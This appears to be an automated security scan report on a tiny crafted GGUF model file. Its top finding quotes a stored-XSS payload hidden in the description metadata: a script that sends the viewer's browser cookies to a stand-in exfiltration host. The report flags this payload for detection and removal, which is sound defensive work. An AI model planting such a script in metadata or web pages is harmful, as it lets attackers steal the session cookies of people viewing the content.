LLMScan.online

AI Model Security Scan Report

C

Score 69/100

Report summary

GGUF v3 model | architecture: llama | quantization: F32 | 1 tensors | 1 blocking issue / 2 warnings

Model

Filename	`xss-metadata.gguf`
Format	`gguf`
Architecture	`llama`
Size	`448 B`
SHA-256	`2b538946930a1a994e68ded343e93cf5754cbe09c521e70070d36c72dd142de7`
Scan mode	`static-deep`
Scanned at	`2026-08-14T22:29:35+00:00Z`
Report ID	`f16f3944540340519c2c1d906cfd4763`

Findings (3)

SEVERITY	CATEGORY	DETAIL
HIGH	Metadata	**Web-injection payload embedded in general.description** Value contains an HTML/JS injection pattern: "A friendly, helpful 7B chat assistant.<script>fetch('https://exfil.example/c?d='+document.cookie)</script>" **Recommendation:** Strip or reject this field; downstream tools that render GGUF metadata in a browser or web UI without escaping it are exposed to stored XSS
MEDIUM	Metadata Security	**External URLs embedded in 1 KV metadata field(s)** Fields: ['general.description'] **Recommendation:** URLs in model metadata may be used for tracking or exfiltration when metadata is rendered; do not auto-fetch
MEDIUM	Resource Limits	**Unusually high bits-per-parameter: 448.0** Values >128 bpp suggest most file content is not tensor data (padding, embedded files, or metadata bloat) **Recommendation:** Investigate what occupies the non-tensor file space

Runtime compatibility

RUNTIME	SUPPORTED	NOTES
llama.cpp	Yes	GGUF v3 container: supported | quant F32: supported
Ollama	Yes	GGUF via llama.cpp backend: container and quantization supported
LM Studio	Yes	GGUF container and quantization supported; GPU/CPU inference
vLLM	No	GGUF not supported; requires safetensors format
HuggingFace Transformers	No	GGUF not supported; requires safetensors or PyTorch checkpoint